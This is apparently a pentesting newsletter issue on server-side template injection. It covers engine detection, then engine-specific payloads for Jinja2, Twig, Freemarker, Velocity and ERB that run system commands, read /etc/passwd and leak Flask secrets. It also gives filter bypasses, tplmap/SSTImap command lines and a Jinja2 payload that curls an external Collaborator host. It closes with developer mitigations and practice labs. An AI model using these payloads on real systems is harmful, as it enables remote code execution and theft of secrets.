Server-Side Template Injection (SSTI): Breaking Out of Templates
10 min read
January 11, 2026

Table of contents
👋 Introduction
Hey everyone!
Server-Side Template Injection (SSTI) is one of those vulnerabilities that goes straight from user input to remote code execution. When user input gets embedded directly into a template and processed by the template engine, attackers can break out of the intended context and execute arbitrary code. Unlike XSS where you attack the browser, SSTI attacks the server itself.
Template engines are everywhere. Flask uses Jinja2. Django has its own. Ruby on Rails uses ERB. Express.js apps often use Pug or Handlebars. PHP applications might use Twig or Smarty. Java applications use Freemarker or Velocity. All of these have been exploited via SSTI.
In this issue, we’ll cover:
- How template engines work and why they’re vulnerable
- Identifying template engines from error messages
- Detection techniques for different engines
- Exploitation paths from detection to RCE
- Engine-specific payloads (Jinja2, Twig, Freemarker, etc.)
- Sandbox escape techniques
- Real-world CVEs from 2024
- Tools and labs for practice
If you’re pentesting web applications, understanding SSTI is critical. It’s an often-overlooked vulnerability that can lead straight to remote code execution.
Let’s break some templates 👇
🎯 Understanding Template Engines
Template engines separate presentation logic from application code. Instead of mixing HTML with backend code, developers write templates with placeholders that get replaced at runtime.
Example template (Jinja2):
<h1>Welcome, {{username}}!</h1>
<p>Your balance is ${{balance}}</p>
Rendered output:
<h1>Welcome, Alice!</h1>
<p>Your balance is $1,234</p>
The template engine evaluates {{username}} and {{balance}}, replacing them with actual values.
Why Template Engines Are Dangerous
Template engines are designed to execute code. That’s their job. They support:
- Variable interpolation:
{{variable}} - Expressions:
{{7*7}}or{{user.name.upper()}} - Filters:
{{text|escape}}or{{date|format('Y-m-d')}} - Control structures:
{% if admin %}...{% endif %} - Object access:
{{config.SECRET_KEY}}
When user input flows into a template without proper sanitization, attackers can inject template directives. Since the engine executes these directives server-side, you get remote code execution.
Safe vs. Unsafe Template Usage
Safe (data-level injection):
# User input goes into template data, not template itself
template = "Hello, {{name}}!"
render(template, {'name': user_input})
Even if user_input is {{7*7}}, it renders as literal text: “Hello, {{7*7}}!”
Unsafe (template-level injection):
# User input becomes part of the template
template = "Hello, " + user_input + "!"
render(template, {})
If user_input is {{7*7}}, the template becomes Hello, {{7*7}}! and evaluates to “Hello, 49!”
The vulnerability occurs when developers dynamically construct templates from user input.
🔍 Detecting SSTI
Initial Detection
Test with basic mathematical expressions:
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
If any of these render as 49, you’ve found SSTI. Different engines use different syntax:
{{...}}: Jinja2, Twig, Handlebars, Mustache, Pug${...}: Freemarker, Velocity, Thymeleaf<%= ... %>: ERB (Ruby), EJS (Node.js)#{...}: Pug (alternate syntax)
Decision Tree for Engine Identification
Once you confirm SSTI, identify the template engine:
Step 1: Try basic syntax variations
{{7*'7'}} → '7777777' = Jinja2 or Twig
{{7*'7'}} → 49 = Mako
${7*7} → 49 = Freemarker or Velocity
<%= 7*7 %> → 49 = ERB or EJS
Step 2: Distinguish between similar engines
For Jinja2 vs. Twig:
{{7*'7'}} → '7777777' (both)
{{'7'*7}} → '7777777' (Jinja2), error (Twig)
For Freemarker vs. Velocity:
${7*7} → 49 (both)
${7*'7'} → error (Freemarker), 49 (Velocity)
Step 3: Check error messages
Trigger an error intentionally to leak the engine name:
{{undefined_variable}}
${nonexistent.function()}
<%= raise 'test' %>
Error messages often reveal:
- Template engine name and version
- File paths (useful for later exploitation)
- Framework details (Flask, Django, Rails, etc.)
🧨 Exploitation by Template Engine
Jinja2 (Python / Flask)
Jinja2 is used by Flask and other Python web frameworks. It has a sandbox, but it can be escaped.
Basic information disclosure:
{{config}}
{{config.items()}}
{{self.__dict__}}
This leaks Flask configuration, including SECRET_KEY, database credentials, and other sensitive data.
Sandbox escape to RCE:
The goal is to access Python’s os module to execute commands. Jinja2’s sandbox blocks direct access, so we exploit built-in context objects.
Reliable payloads (from HackTricks):
# Using cycler object
{{cycler.__init__.__globals__.os.popen('id').read()}}
# Using joiner object
{{joiner.__init__.__globals__.os.popen('id').read()}}
# Using namespace object
{{namespace.__init__.__globals__.os.popen('id').read()}}
These payloads exploit Jinja2 context objects (cycler, joiner, namespace) that have accessible __init__ methods exposing __globals__, allowing direct access to the os module.
Filter bypass:
If keywords like class or import are filtered:
# Use string concatenation
{{'cl'+'ass'}}
# Use attribute access
{{request['__cl'+'ass__']}}
# Hex encoding
{{"\x5f\x5fclass\x5f\x5f"}}
Twig (PHP / Symfony)
Twig is the default template engine for Symfony applications.
Basic detection:
{{7*7}} → 49
{{7*'7'}} → 49 (Twig does type coercion)
Information disclosure:
{{_self}}
{{_self.env}}
{{dump(app)}}
RCE via filter registration:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
This registers system as a catch-all for undefined filters, then invokes it with the id command.
Using array filter (shorter):
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}
This technique chains array operations with system command execution.
Freemarker (Java)
Freemarker is common in Java applications, especially with Spring Framework.
Basic detection:
${7*7} → 49
RCE via Execute class:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
This creates a new instance of the Execute class and runs the id command.
Shorter alternative:
${"freemarker.template.utility.Execute"?new()("whoami")}
Reading files:
<#assign file="freemarker.template.utility.FileReader"?new()>
${file("/etc/passwd")}
Velocity (Java)
Used in older Java applications and Apache projects.
Basic detection:
${7*7} → 49
RCE via reflection:
#set($x='')
#set($rt = $x.class.forName('java.lang.Runtime'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()
With output capture:
#set($x='')
#set($rt = $x.class.forName('java.lang.Runtime'))
#set($chr = $x.class.forName('java.lang.Character'))
#set($str = $x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('whoami'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
ERB (Ruby / Rails)
ERB (Embedded Ruby) is the default template engine for Ruby on Rails.
Basic detection:
<%= 7*7 %> → 49
RCE:
<%= system('id') %>
<%= `whoami` %>
<%= IO.popen('id').readlines() %>
Reading files:
<%= File.open('/etc/passwd').read %>
🛠️ Tools of the Trade
tplmap: The original and most comprehensive SSTI exploitation tool. Supports 15+ template engines including Jinja2, Twig, Freemarker, Velocity, ERB, and more. Automates detection, identification, and exploitation. Written in Python 2.7.
# Install
git clone https://github.com/epinna/tplmap.git
cd tplmap
# Basic usage
python2 tplmap.py -u 'http://target.com/page?name=*'
# With POST data
python2 tplmap.py -u 'http://target.com/page' -d 'name=*&email=test@test.com'
# Specify injection point
python2 tplmap.py -u 'http://target.com/page?name=*' --os-cmd 'id'
SSTImap: Modern Python 3 alternative to tplmap with interactive interface. Automatic SSTI detection and exploitation with better maintainability.
# Install
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
# Basic usage
python3 sstimap.py -u 'http://target.com/page?name=*'
# Interactive mode
python3 sstimap.py -i -u 'http://target.com/page?name=*'
PayloadsAllTheThings - SSTI: Comprehensive payload collection for all major template engines. Includes detection payloads, exploitation chains, and bypass techniques. Essential reference during pentests.
Burp Suite Collaborator: Useful for blind SSTI detection. Inject payloads that trigger DNS or HTTP requests to your Collaborator domain:
# Jinja2 blind SSTI
{{config.__class__.__init__.__globals__['os'].popen('curl http://YOUR_COLLABORATOR.burpcollaborator.net').read()}}
🧪 Labs & Practice
PortSwigger Web Security Academy:
- Basic server-side template injection: Delete a file using ERB template injection
- Basic server-side template injection (code context): Exploit Tornado template in code context
- Server-side template injection using documentation: Identify template engine and exploit using documentation
- Server-side template injection in an unknown language with a documented exploit: Find and use public exploits
- Server-side template injection with information disclosure via user-supplied objects: Exploit object access to leak secret keys
HackTheBox:
- Spider: Hard-rated retired Linux machine with Jinja2 SSTI exploitation featuring character length limitations and filter bypasses
- Late: Easy-rated machine with SSTI vulnerability in text reading application leading to RCE
- Doctor: Medium-rated machine exploitable via SSTI
- Neonify (Challenge): ERB (Ruby) SSTI with regex filter bypass
- HTB Academy - Server-side Attacks Course: Dedicated module covering SSTI identification and exploitation
TryHackMe:
Search for “Server Side Template Injection” or “SSTI” on the platform for dedicated rooms covering exploitation techniques and hands-on practice
🔒 Defense & Mitigation
For Developers:
1. Never use user input to construct templates
# BAD - User input in template string
template = "Hello, " + user_name + "!"
render(template)
# GOOD - User input in template data
template = "Hello, {{name}}!"
render(template, {'name': user_name})
2. Use sandboxed template engines
Enable sandboxing where available:
# Jinja2 with sandbox
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
3. Implement strict allow-lists for template features
Disable unnecessary template features:
# Disable dangerous filters and functions
env = Environment(
autoescape=True,
extensions=[], # No extensions
)
4. Use logic-less template engines
Consider using engines that don’t support code execution:
- Mustache (logic-less by design)
- Handlebars (limited logic)
5. Apply Content Security Policy (CSP)
While CSP won’t stop SSTI, it can limit post-exploitation impact by preventing data exfiltration or callback to attacker infrastructure.
For Pentesters:
- Test all user-controllable input that appears in rendered output
- Check for SSTI in less obvious places: HTTP headers, file uploads (especially filenames), API parameters
- Try multiple syntax variations to identify the engine
- Use Burp Collaborator for blind SSTI detection
- Don’t stop at information disclosure. Always attempt RCE
- Check for filter bypasses if basic payloads fail
🎯 Key Takeaways
- SSTI occurs when user input is embedded directly into template code rather than template data
- Template engines are designed to execute code, making SSTI particularly dangerous
- Detection is straightforward using mathematical expressions like
{{7*7}} - Engine identification is critical since exploitation techniques vary significantly
- Sandbox escapes are possible in most template engines through object introspection
- RCE is the end goal but information disclosure (config, secrets) is also valuable
- Prevention requires strict separation between template structure and user data
- Multiple 2024 CVEs demonstrate this remains an active threat in modern applications
📚 Further Reading
- PortSwigger - Server-side template injection: Comprehensive guide with interactive labs
- PortSwigger Research - Server-Side Template Injection: Original 2015 research by James Kettle
- HackTricks - SSTI: Extensive SSTI reference with payloads for all major engines
- PayloadsAllTheThings - SSTI: Community-maintained payload collection
- OWASP - Server-Side Template Injection: OWASP testing guide for SSTI
- Flask Documentation - Templates: Official Jinja2/Flask template documentation
- NVD - CVE Database: National Vulnerability Database for CVE details
That’s it for this week!
SSTI is one of those vulnerabilities that feels like finding a skeleton key. When you discover it, you often go straight from limited user input to full server compromise. No privilege escalation needed. No lateral movement. Just inject a payload and you’re executing code as the application user.
The key is recognizing the opportunity. When you see template syntax in user-controllable fields, test for evaluation. When you find mathematical expressions rendering as calculated values, dig deeper. And when you identify the template engine, consult the documentation and payload collections to build your exploit chain.
Start with the PortSwigger labs. They’re excellent for understanding the fundamentals. Then move to HackTheBox machines where SSTI is one step in a larger attack chain. Practice identifying engines from error messages. Build muscle memory for common exploitation patterns.
See you in the next issue 🔥
Thanks for reading, and happy hacking!
— Ruben
Other Issues
Previous Issue
Next Issue
💬 Comments Available
Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.